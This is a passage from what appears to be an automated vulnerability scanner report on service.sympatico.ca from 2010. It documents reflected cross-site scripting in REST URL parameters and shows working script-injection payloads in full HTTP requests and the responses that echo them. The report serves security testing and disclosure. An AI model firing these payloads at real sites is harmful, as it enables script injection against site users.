NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:00 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_submit_small.gif?feceb"><script>alert(1)</script>e1ad5055400=1" />
...[SNIP]...

2.129. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_cart.gif [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_cart.gif

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3376f"><script>alert(1)</script>33d01557b7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C3376f"><script>alert(1)</script>33d01557b7/images/icons/vi_cart.gif HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:12 GMT
Connection: close
Set-Cookie: SMSESSION=Ig7Nas5FFXqX2uDQ5s+xlTtD70m7O38QFfVjPJU7uoqokc45KHD/lifH1kV+DROSSRF90MiBrJtzHzrqYUjsYxhxC0Ust9wpC0Rajrr4ropbrQM380i7mIov0u0ikXZIiiJCLqecEvwU4DJmsqoIunoUla/eF9wp/UP38tRIMwe647w1ZEqad3Ax/aUAvZTnKZhw/cJ8zK3S7KeIVPR9y1MpyitGk3UkUFdYc3P1gXXzFv0wImKEGZqs4vxFCaglCXQflky/Bcgtu9W+fXcbzRNFB7pjM09iTTlICn5IAwYORdIsZZsKoQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:12 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:12 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:12 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:12 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:12 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:12 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:12 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:12 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:12 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:12 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:12 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:12 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:12 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:12 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
e="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C3376f"><script>alert(1)</script>33d01557b7/images/icons/vi_cart.gif" />
...[SNIP]...

2.130. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_cart.gif [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_cart.gif

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 144f7"><script>alert(1)</script>a3f28704869 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images144f7"><script>alert(1)</script>a3f28704869/icons/vi_cart.gif HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:16 GMT
Connection: close
Set-Cookie: SMSESSION=76/UcDXGEb+CyrMf8shDFneRyoPAgZrEtp1SAit7RfjUSvoQ3dw/HhxZzGzKBc0kcyLEZpm2UmhklR0m5ESUPuv3PE0UenJxT7hFHDC6bSkwN+w1N1CzHxiw2WBOM8dKjITF7/s1QPVEqfnVuAB8U7QCfEYONM30QLFANVFeQvI4cpZIPqgxpPLrlkYDAbNEf6xcXKhStRcB3lobw2OTFDeozCUEtoLrpGmqWOywU1h8xHuSrQQqlBmwLcll5wqETWNZsK657cSrvUGcm1AZml1DWcghRCWLKpD+iFr9izhzshXhdseyoA==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:17 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:17 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:17 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:17 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:17 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images144f7"><script>alert(1)</script>a3f28704869/icons/vi_cart.gif" />
...[SNIP]...

2.131. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_cart.gif [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_cart.gif

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6c766"><script>alert(1)</script>05556fe099c was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons6c766"><script>alert(1)</script>05556fe099c/vi_cart.gif HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:21 GMT
Connection: close
Set-Cookie: SMSESSION=E+/ofpBLFMD1Tty8fQCHgfglLtzi5sY44h+z7HZ0g/7XxBJpAmoJgxwDgtTlGeImwdnBxwokh81hJ2GowvR6Y2CfRyC08pK5E/tXF9k9Ceg36a8QXZT4EsHfrSMhgLVyEgtOIpyxEKYoTXjBsoyFYV8nwile0kzmNoLUng0Tsp9JVF2Io0OegpMaBAxafuK42IXjE2FEhxkYzsxsuY4cuZfhpvm54K3H2kf5lO82MY1Dx1p9ZuUKLQig6BD5Fl7XrsiAJ85XOX/lhSYscciRzQNTLMEpKtaojHFDYJoZJyssk18niESnXQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:21 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:21 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:21 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:21 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:21 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:21 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:21 GMT;path=/
